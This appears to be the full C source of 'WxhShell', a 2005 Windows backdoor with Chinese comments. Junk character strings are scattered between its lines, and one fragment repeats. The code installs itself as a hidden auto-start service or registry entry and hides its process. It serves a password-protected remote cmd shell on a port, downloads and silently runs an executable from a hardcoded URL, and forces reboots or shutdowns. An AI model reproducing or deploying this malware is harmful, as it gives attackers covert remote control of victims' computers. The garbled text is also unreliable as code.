+(lZ if(NULL == hInst ) return 0; rqdE6y+^ kSR\RuY* g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8Eakif0CO g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;pqg/>W' NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PJ]];MQ M,/mE~ if (!NtQueryInformationProcess) return 0; o*DN4oa) r G4';V^q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MS\>DW if(!hProcess) return 0; !G SV6 v%"|WV[N if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e?7&M Pl=ZRKn CloseHandle(hProcess); f0X_fm_q b~'"^ Bts* hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V,q](bg if(hProcess==NULL) return 0; Pa{%\dsv BFL`!^ HMODULE hMod; ~-EOjX(X'E char procName[255]; S/D^ unsigned long cbNeeded; R]OpQ[k )z&/_E= if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); '+osf'& )3~{L;q CloseHandle(hProcess); V'kX)$ zUKmx y@ if(strstr(procName,"services")) return 1; // 以服务启动 G'6@+$ppS Qp/QaVQ+ return 0; // 注册表启动 Tav*+ } H*[M\gN$ X:6c}p%,! // 主模块 &?q/1vLa int StartWxhshell(LPSTR lpCmdLine) *MJX? { _59huC. SOCKET wsl; g=QDu7Ux BOOL val=TRUE;
c|M6<} int port=0; 4:|S` jm struct sockaddr_in door; .Nw=[ W7U2MqQ if(wscfg.ws_autoins) Install(); #=6E\&NC W}5xmz port=atoi(lpCmdLine); kL$!E9 B?4boF?~ if(port<=0) port=wscfg.ws_port; xL{a >N]7IU[- WSADATA data; yp$_/p O=2 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x n5l0'2 /Y'Vh^9/T if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AQ_|: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 73xAG1D$r door.sin_family = AF_INET; }HY-uQ%@g door.sin_addr.s_addr = inet_addr("127.0.0.1"); w+yC)Rmz door.sin_port = htons(port); F )W: !{^PO<9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S4G^z}{_ closesocket(wsl); XzIl`eH return 1; f ` R/
i } <4P4u*/o w)Q0_2p. if(listen(wsl,2) == INVALID_SOCKET) { Vl:^>jTki closesocket(wsl); D'J0wT# return 1; CbwJd5tk } m06ALD_ Wxhshell(wsl); {buo^kgj`] WSACleanup(); @}@Z8$G^ O*0l+mop return 0; YhDtUt}? 8=gjY\Dp } M+w=O!dq ptU\[Tq // 以NT服务方式启动 *T5!{ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w]]8dz { 1IZ3=6 DWORD status = 0; mGJasn DWORD specificError = 0xfffffff; \3pc"^W V+VkY3 serviceStatus.dwServiceType = SERVICE_WIN32; T~Gvp0r}h serviceStatus.dwCurrentState = SERVICE_START_PENDING; Zo g']= serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {&\jW!&n serviceStatus.dwWin32ExitCode = 0; =5kY6%E7c serviceStatus.dwServiceSpecificExitCode = 0; Mz~M3$$9n serviceStatus.dwCheckPoint = 0; OoA|8!CFa serviceStatus.dwWaitHint = 0; aFS,GiB Q$="_y2cTA hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kic/*v\6@ if (hServiceStatusHandle==0) return; YgUvOyaQXf 5u*-L_ status = GetLastError(); 'H
\9:7 if (status!=NO_ERROR) 4:r!|PJn{G { @>W(1mRi serviceStatus.dwCurrentState = SERVICE_STOPPED; |Z=^`J serviceStatus.dwCheckPoint = 0; qI~xlW
serviceStatus.dwWaitHint = 0; Tl2C^j serviceStatus.dwWin32ExitCode = status; @wE5S6! B\ serviceStatus.dwServiceSpecificExitCode = specificError; (X?%^^e! SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4}4Pyjh return; rvXWcu -" } m^GJuPLW Si6al78 serviceStatus.dwCurrentState = SERVICE_RUNNING; LIZRoG8 serviceStatus.dwCheckPoint = 0; ha(Z< serviceStatus.dwWaitHint = 0; M#As0~y if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]
:BX!< } sB c
(gr Q\
U:~g3 // 处理NT服务事件,比如:启动、停止 iZaI_\"__ VOID WINAPI NTServiceHandler(DWORD fdwControl) !f&Kf,#b` { :=wTvz switch(fdwControl) }j*KcB_ { N6 ( case SERVICE_CONTROL_STOP: (^u1~1E 5 serviceStatus.dwWin32ExitCode = 0; (`sH3&Kl serviceStatus.dwCurrentState = SERVICE_STOPPED; "CUty"R8 serviceStatus.dwCheckPoint = 0; 1n:8s'\ serviceStatus.dwWaitHint = 0; _Jme!Oaa { }^/9G17 SetServiceStatus(hServiceStatusHandle, &serviceStatus); n&-qaoNl } /J:bWr return; BV>\ McI+ case SERVICE_CONTROL_PAUSE: .pN`;*7` serviceStatus.dwCurrentState = SERVICE_PAUSED; 0},PJ$8x break; [&&1j@LQ* case SERVICE_CONTROL_CONTINUE: m0c P ( serviceStatus.dwCurrentState = SERVICE_RUNNING; rzh#CnL3 break; pO ml8SQf case SERVICE_CONTROL_INTERROGATE: %2XHNW break; z#]Jv!~EPE }; `<\1[HJ\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); (&+kl q } 0Sgaem` :yeq(oK, // 标准应用程序主函数 dv.(7Y7.x int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fp[|M { 1rkE yh?? N1|$$9G+ // 获取操作系统版本 ZE2$I^DY- OsIsNt=GetOsVer(); 0IfKJ*]M GetModuleFileName(NULL,ExeFile,MAX_PATH); XI22+@d6 ]K/DY Do- // 从命令行安装 ],Rd ySN& if(strpbrk(lpCmdLine,"iI")) Install(); BI $ m3mp/g.> // 下载执行文件 /XhIx\40l if(wscfg.ws_downexe) { /)4I|"}R0I if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _g~qu
[1 WinExec(wscfg.ws_filenam,SW_HIDE); yp66{o
} *g[^.Sg /Rg*~Ers
* if(!OsIsNt) { )w0AC"2O~ // 如果时win9x,隐藏进程并且设置为注册表启动 p TeOW9 HideProc(); Kwg4sr5"D StartWxhshell(lpCmdLine); m<0&~rg } WV #%PJ else v7DE if(StartFromService()) _ B5gR // 以服务方式启动 zJ)*Z,7 StartServiceCtrlDispatcher(DispatchTable); D?0zhU else Q)LM-ZJKQ // 普通方式启动 hED=u/ql[ StartWxhshell(lpCmdLine); <j5NFJ9 Oh'Y0_oB> return 0; %7gkNa } ,{LG4qvP k&.Jk
B" US%^#D q DXa-rk8 =========================================== ~R&;v3 #_(jS+lP?k t$A%*JBKm Ygl%eP%Z }C#;fp"L R8T]2?Q1 " '*k'i;2/1 tWoh''@# #include <stdio.h> GF5^\Rf #include <string.h> E5N{j4\F #include <windows.h> ea~:}!-P #include <winsock2.h> OBP1B@|l$+ #include <winsvc.h> 2c:#O%d( #include <urlmon.h> =<NljOR4` *H.oP #pragma comment (lib, "Ws2_32.lib") yZ7,QsEsN #pragma comment (lib, "urlmon.lib") Hf vTxaK Ie4 hhW #define MAX_USER 100 // 最大客户端连接数 HjGyj/78w #define BUF_SOCK 200 // sock buffer K"[AxB'F #define KEY_BUFF 255 // 输入 buffer q7-L53.x K!] 1oy'V #define REBOOT 0 // 重启 y;AL'vm9 #define SHUTDOWN 1 // 关机 H03jDM8Q &ZX{R#[L #define DEF_PORT 5000 // 监听端口 %B)6$!x IrWD%/$H #define REG_LEN 16 // 注册表键长度 S -'fS2 #define SVC_LEN 80 // NT服务名长度 qq1 - DG mBG=jI "xh // 从dll定义API BYo/57&: typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nYa*b=[. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0#YX=vjX7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $LLA,?;! typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K.z64/H:
u*#ZXW // wxhshell配置信息 Hw-Z struct WSCFG { f4guz int ws_port; // 监听端口 kr9gK~ char ws_passstr[REG_LEN]; // 口令 =pk)3<GwF int ws_autoins; // 安装标记, 1=yes 0=no %bD}m! char ws_regname[REG_LEN]; // 注册表键名 4|`Bq}sjZf char ws_svcname[REG_LEN]; // 服务名 W!"}E%zx char ws_svcdisp[SVC_LEN]; // 服务显示名 MiRdX#+Y char ws_svcdesc[SVC_LEN]; // 服务描述信息 x"CZ]p&m char ws_passmsg[SVC_LEN]; // 密码输入提示信息 p IKSs<IP int ws_downexe; // 下载执行标记, 1=yes 0=no FA}_(Hf.[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .LuB\o$ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 QEu=-7@> !grVR157P }; yin'vgQ ?l $Nf@- // default Wxhshell configuration 7zv1wb struct WSCFG wscfg={DEF_PORT, =Odv8yhn "xuhuanlingzhe", x
$zKzfHW 1, 9Y<#=C "Wxhshell", ZZ.m(ATR "Wxhshell", +\{&2a? "WxhShell Service", if]Noe "Wrsky Windows CmdShell Service", 2"d!(J6}K "Please Input Your Password: ", u]ZqOJXxu 1, DS%\SrC "http://www.wrsky.com/wxhshell.exe", 4ON_$FUe "Wxhshell.exe" _ %x4ty }; i]#+1Hf X2xuwA // 消息定义模块 >"@?ir char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?*oKX char *msg_ws_prompt="\n\r? for help\n\r#>"; J-<^P5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BkZV!Eg char *msg_ws_ext="\n\rExit."; ((^sDE6( char *msg_ws_end="\n\rQuit."; wfP5@ !I char *msg_ws_boot="\n\rReboot..."; v*qQ? S char *msg_ws_poff="\n\rShutdown..."; #%FN>v3e char *msg_ws_down="\n\rSave to "; ;kJu$U &BvZF char *msg_ws_err="\n\rErr!"; [*Z`Kc char *msg_ws_ok="\n\rOK!"; ,=
&B28Qe) IB`>'~s&A char ExeFile[MAX_PATH]; "aFhkPdWn int nUser = 0; LsM7hLy HANDLE handles[MAX_USER]; 6y5A"- int OsIsNt; ,\aUq|~ !gmH$1w SERVICE_STATUS serviceStatus; 7HHysNB"w SERVICE_STATUS_HANDLE hServiceStatusHandle; B<~U3b fof2
xcH! // 函数声明 Ol')7d& int Install(void); o1/lZm{\~n int Uninstall(void); '/I:^9 int DownloadFile(char *sURL, SOCKET wsh); n6(.{M; int Boot(int flag); ^o !O)D-q void HideProc(void); 6ITLGA int GetOsVer(void); /n4pXT int Wxhshell(SOCKET wsl); $) 5Bf3P0 void TalkWithClient(void *cs); c=6Q%S int CmdShell(SOCKET sock); RuG-{NF{F int StartFromService(void); +]@Az.E int StartWxhshell(LPSTR lpCmdLine); cM_Fp 7DfTfTU6 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "W#t;;9Wz VOID WINAPI NTServiceHandler( DWORD fdwControl ); pfd#N[c }N*>QR5K // 数据结构和表定义 L@^~N$G&u SERVICE_TABLE_ENTRY DispatchTable[] = =ORf%f5"' { "|m|E/Z-9 {wscfg.ws_svcname, NTServiceMain}, ZCg`z {NULL, NULL} <q,+ON\' }; ?QA\G6i4 !4rPv\ // 自我安装 e2C<PGUUB int Install(void) do-c1;M { CWO=0_>2 char svExeFile[MAX_PATH]; T|"7sPgGR HKEY key; ?/JBt
/b strcpy(svExeFile,ExeFile); hGf-q?7 {FI\~q // 如果是win9x系统,修改注册表设为自启动 vSW
L$Y2 if(!OsIsNt) { b59{)u4F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3qQUpm+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); = zl=SLe RegCloseKey(key); ?R5'#|EyX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? &zQaxD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p[2GkP RegCloseKey(key); 5=KF!? return 0; h~7,`fo } 0"g@!gSrQ } YGsS4ia*4i } m/`IGT5J else { LihjGkj\g jvzBh-! // 如果是NT以上系统,安装为系统服务 * \HRw +cL SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;:mY JV if (schSCManager!=0) +/?iCmW { s~},y]YV SC_HANDLE schService = CreateService oY`qI nM_ ( CT d|` schSCManager, jLcHY-P0V wscfg.ws_svcname, Vdn.)ir~P wscfg.ws_svcdisp, 9zgNjjCl] SERVICE_ALL_ACCESS, Z v0C@r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h<+|x7u SERVICE_AUTO_START, =ex'22 SERVICE_ERROR_NORMAL, 5A&y]5-Q` svExeFile, V8O.3fo`[` NULL, yZJ*dadAr NULL, mh;X~.98 NULL, MjaUdfx NULL, {Ts:ZI+
8d NULL ^^(<c,NX#M ); ;5<-) if (schService!=0) tLcEl'Eo { !5x
Ly6=} CloseServiceHandle(schService); S)%_we LW7 CloseServiceHandle(schSCManager); ad!(z[F'Y strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,M3z!=oIGn strcat(svExeFile,wscfg.ws_svcname); z#<P}} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i9UI,b%X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); LNQSb4 RegCloseKey(key); |)@N-f:E return 0; GLKO]y } 2r];V'r } zL s^,x CloseServiceHandle(schSCManager); j.3o W } ,2 WH/" } .F0]6#( "uu)2Xe return 1; 6kvV } X9~m8c){z wVi%oSfM // 自我卸载 :G'xi2bs int Uninstall(void) DM3B]Yl { U q X1E HKEY key; vW' 5` % b2h":G|s if(!OsIsNt) { WfGH|u
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lv:U%+A RegDeleteValue(key,wscfg.ws_regname); #Y[H8TW RegCloseKey(key); !Y;<:zx5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w1B<0'# RegDeleteValue(key,wscfg.ws_regname); FsCwF&/q RegCloseKey(key); zj]b&In6; return 0; )LswSV } B[NJ^b| } Sb^
b)q" } A|<; else { |#TXE|#ux $cK^23H/Fj SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7;HUE!5,^l if (schSCManager!=0) ;.Zh,cU { N4 [E~- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :$"7-a%f if (schService!=0) R'EW7}& { U($^E}I2( if(DeleteService(schService)!=0) { L? ;/cO^ CloseServiceHandle(schService); ,0T)Oc|HL/ CloseServiceHandle(schSCManager); -
8syjKTg return 0; <q7s`,rG } \7E`QY4 CloseServiceHandle(schService); 0~xaUM` } X}apxSd" CloseServiceHandle(schSCManager);
$e/*/. } ,L-C(j } ez0 \bym `I>], J/ return 1; 6=>7M
b$ } k.Zll,s ^\YQ_/\~L // 从指定url下载文件 ~t9$IB int DownloadFile(char *sURL, SOCKET wsh) P,1exgq9 { 1hNEkpL^a HRESULT hr; yv${M u char seps[]= "/"; 0^>E`/ char *token; v:P!(`sF char *file; i$#,XFFp~ char myURL[MAX_PATH]; ;a{rWz1Wm char myFILE[MAX_PATH]; ,cQ)cY[ DN|vz}s strcpy(myURL,sURL); -IvL+}K token=strtok(myURL,seps); $i&\\QNn while(token!=NULL) eH=c|m]!P { -q(:%; file=token; CTU9~~Xk token=strtok(NULL,seps); &5/JfNe3 } gY\mXM*^ {gIEZ{ GetCurrentDirectory(MAX_PATH,myFILE); [i9[Mj strcat(myFILE, "\\"); /$OIlu strcat(myFILE, file); ^4hc+sh0D send(wsh,myFILE,strlen(myFILE),0); NhtEW0xCr send(wsh,"...",3,0); J_/05(48 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %EB;1 if(hr==S_OK) N K"%DU< return 0; [Ye5Y? else ~D!ESe*= return 1; 8XkIk7 Qy%xL9 } *08+\ed"# _&mc8ftT // 系统电源模块 !ZA}b[ int Boot(int flag) tz8t9lb[ { /T#o<D HANDLE hToken; gDc]^K4> TOKEN_PRIVILEGES tkp; %9YA^ri (lWKy9eTy` if(OsIsNt) { jhcuK:`L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h~.V[o7= LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #[(0tc/ tkp.PrivilegeCount = 1; #J3zTG(:@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ris-tdg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eb7UoZw if(flag==REBOOT) { DsG !S* if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vdy\4 nu( return 0; |Qq+8IeYG } ]Qy,#p'~&H else { q\G{]dz?R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j>g9\i0O1 return 0; +9}' s{ } " V/k<HRw } PJ6$);9}6 else { hf[IEK if(flag==REBOOT) { "#J}A0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^1vq{/ X return 0; L`JY4JM" } ;lk f+,; else { 6%z`)d if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rOhA*_EG return 0; nO%<;-=u\ } kz|[*%10 } )rS^F<C 2PI #ie4 return 1; b__n~\q_ } PKATw>zg< ~EPjZ3 ? // win9x进程隐藏模块 s!=!A void HideProc(void) }K+\8em { ~JT lPU' IBF.&[[S HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~v,!n/(' if ( hKernel != NULL ) hXBqz9 { Zm5nLxM pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]#+5)[N$> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;S{ZC5 FreeLibrary(hKernel); q
w"e0q% ) } G+;g:_E= @D2`*C9 return; <,#rtVO$ } 5@""_n&FV d?E4[7<t$1 // 获取操作系统版本 EywZIw?mjX int GetOsVer(void) rHR5,N: { ^S3A10f, OSVERSIONINFO winfo; X{4xm,B/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .Pqj6Ko9 GetVersionEx(&winfo); Iy-u`S if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :r[W'h_% return 1; '$lw[1 else ]IL3 $eR return 0; "P9wT)J_ } xU:PhhS :s? y, // 客户端句柄模块 ((n5';|N int Wxhshell(SOCKET wsl)
; \Y- { $K;_Wf SOCKET wsh; xXl$Mp7 struct sockaddr_in client; 1Q3%!~<\s DWORD myID; Es_SCWJ [UUM^!1 while(nUser<MAX_USER) Di]Iy { t^dakL int nSize=sizeof(client); &fh.w]\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K1CMLX]m if(wsh==INVALID_SOCKET) return 1; sz){uOI q|m#IVc handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?yda.<"g9Y if(handles[nUser]==0) zkw0jX~ closesocket(wsh); !NQf< ch else c|8KT nUser++; P1vF{e } k B$lkl\C WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WllCcD1 Zm?G'06 return 0; JT}dor } OqUE4.vIP GhaAvyN // 关闭 socket j>0SE
void CloseIt(SOCKET wsh) DRS;lJ2 { KHiYV closesocket(wsh); $Ykp8u,( nUser--; 4p0IBfVG ExitThread(0); xX[{E x } M}{n6T6B \:18Uoe7 // 客户端请求句柄 "y3dwSS void TalkWithClient(void *cs) P<g|y4h { sP=2NqU3Q *&~sr SOCKET wsh=(SOCKET)cs; Bil;@,Z# char pwd[SVC_LEN]; M]pel\{M char cmd[KEY_BUFF]; X,Q6 char chr[1]; |ij W_r int i,j; _r^G%Mvy| ]ys4 while (nUser < MAX_USER) { RJ7/I/yD| rmAP&Gw I if(wscfg.ws_passstr) { 1L(Nfkh if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bTI&#Hu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zYNM<W; //ZeroMemory(pwd,KEY_BUFF); ` Mv5!H5l i=0; +;4AG::GN while(i<SVC_LEN) { fM
zAf3 P,LXZ // 设置超时 I NFzX fd_set FdRead; ph5xW<VNP struct timeval TimeOut; {jCu9 ]c! FD_ZERO(&FdRead); QvT-&| FD_SET(wsh,&FdRead); 0*'`%W+5 TimeOut.tv_sec=8; KD<; ?oN<O TimeOut.tv_usec=0; z.\[Va$@l int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '+GVozc6c" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <y b=! HtS1N}@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rVIb'sa pwd=chr[0]; /s-jR]#VA if(chr[0]==0xd || chr[0]==0xa) { 5O4&BxQ~} pwd=0; q#':aXcv" break; LU 5
`!0m } hBs>2u|z9 i++; UO7a}Tz< } Cq~ah {?kKpMNNn // 如果是非法用户,关闭 socket zMHf?HQ-Z if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <aQ; "O~
} M<|~MR 1\7"I- send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \!4ghev3 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?yd(er<_f |4 d{X@`& while(1) { Ozh^Q$>u |rms[1<_ ZeroMemory(cmd,KEY_BUFF); >?uH#%C5 uk>/Il // 自动支持客户端 telnet标准 k%4A::= j=0; l%)=s~6z while(j<KEY_BUFF) { yz&q2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bQnwi?2 cmd[j]=chr[0]; 0e5-\a if(chr[0]==0xa || chr[0]==0xd) { >t6'8g"T cmd[j]=0; 7;#dX~>@{ break; OYRR'X.E } vN6]6nUOiT j++; ."#jN><t } h0EGhJs m6ZbYF-7W // 下载文件 ZJJl944 if(strstr(cmd,"http://")) { ,uD*FSp> send(wsh,msg_ws_down,strlen(msg_ws_down),0); } k%\ if(DownloadFile(cmd,wsh)) v!v0,?b* send(wsh,msg_ws_err,strlen(msg_ws_err),0); B}xo|:f!zj else {Z{NH:^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F|3FvxA } b<H6D} else { 0?*I_[Y m^s2kB4A[ switch(cmd[0]) { -gX2{dW keq[6Lv // 帮助 f"=4,
case '?': { =)UiI3xHk send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XU })3]/ break; :DF4g= } YKS'#F2 // 安装 $Q7E# case 'i': { E*b[.vUp if(Install()) aw@Aoq send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'krMVC- else Gw\HL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LB ^^e"
break; 4R^j"x
5 } R*5;J`TW // 卸载 m
?tnk?oX case 'r': { hF PRC0ftE if(Uninstall()) h.+&=s!Nsy send(wsh,msg_ws_err,strlen(msg_ws_err),0); )p_LkX( else ^~IcQ!j/5 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E@}j}/%'O break; _!g
NF= } <TROs!x$a // 显示 wxhshell 所在路径 WBIB'2:m case 'p': { H;!hp0y char svExeFile[MAX_PATH]; f*&JfP strcpy(svExeFile,"\n\r"); GB0b|9(6D" strcat(svExeFile,ExeFile); >^ 1S26 send(wsh,svExeFile,strlen(svExeFile),0); $5AtI$TV_! break; ifCGNvDR } _"Ke=v_5 // 重启 GSb)|mj case 'b': { =FJ9wiL send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s6hWq&C if(Boot(REBOOT)) e.YchGTQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); !?M_%fNE else { *R6eykp closesocket(wsh); X@4d~6k? ExitThread(0); F`}w0=-*( } Zdg{{|mm break; :
MmXH&yR } eii7pbc // 关机 m%(JRh case 'd': { `A{~}6jw send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;p"XCLHl if(Boot(SHUTDOWN)) z4+6k-#): send(wsh,msg_ws_err,strlen(msg_ws_err),0); p00Bgo else { ]4~D;mv closesocket(wsh); ;{7lc9uRj ExitThread(0); #UN{
J6{ } F"P:9`/ break; '\YhRU } $i]
M6<Vxn // 获取shell G[-jZ case 's': { 1mPS)X_ CmdShell(wsh); VCtiZ4 closesocket(wsh); tf79Gb> ExitThread(0); )g<qEyJR break; *B}R4Y|g } SF=|++b1f // 退出 3n)iTSU3 case 'x': { E1v<-UPbA send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =w?cp}HW CloseIt(wsh); g]Ny?61 break; H)fo4N4ii } )_.H #|r // 离开 O5*uL{pvT{ case 'q': { rAdcMFW send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;mxT>|z closesocket(wsh); 5|t&qUV WSACleanup(); 5DUPsV exit(1); df rr.i break; ({b/J0<@D } xEWa<P#.u } /7)G"qG~F~ } 7+-}8&syu Rp9iX~A`e // 提示信息 Bq8<FZr#! if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U}Fk%Jj } uCr } }}2hI` \$UU/\ return; },ZL8l{ } IT33E%G y>18)8 // shell模块句柄 !]T|=yw int CmdShell(SOCKET sock) '(>N
gd[ { ?`}U|]c STARTUPINFO si; ]qRz!D%@^ ZeroMemory(&si,sizeof(si)); 9:~^KQ{? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _erH]E| [ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LEa:{s<: PROCESS_INFORMATION ProcessInfo; NtL?cWct char cmdline[]="cmd"; emO!6]0gJ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H9[.#+ln return 0; _{);n$ ` } P=z':4,M} j*
?MFvwE // 自身启动模式 [_Z3v,vt, int StartFromService(void) <[~M|OL9q, { ~epkRO=" typedef struct gI{F"7fa= { `-2`UGB- DWORD ExitStatus; K)Ka"H DWORD PebBaseAddress; mL+ps x+ DWORD AffinityMask; `8Ix&d3F DWORD BasePriority; ~!u94_: ULONG UniqueProcessId; Z)0R$j`2 ULONG InheritedFromUniqueProcessId; -fn~y1 } PROCESS_BASIC_INFORMATION; ]7@Dqd-/S )[.URp& PROCNTQSIP NtQueryInformationProcess; 8t; nU;E* 9r}}m0 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b5C #xxIO static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ibL;99 # ?~8V;Qn HANDLE hProcess; tO$M[P=b PROCESS_BASIC_INFORMATION pbi; ``D-pnKK tzPe*|m< HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hqv(X=6E0 if(NULL == hInst ) return 0; i ib-\j4d d4tVK0
~ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5#tvc4+) g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <#i'3TUR NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EA72%Y9F Jr
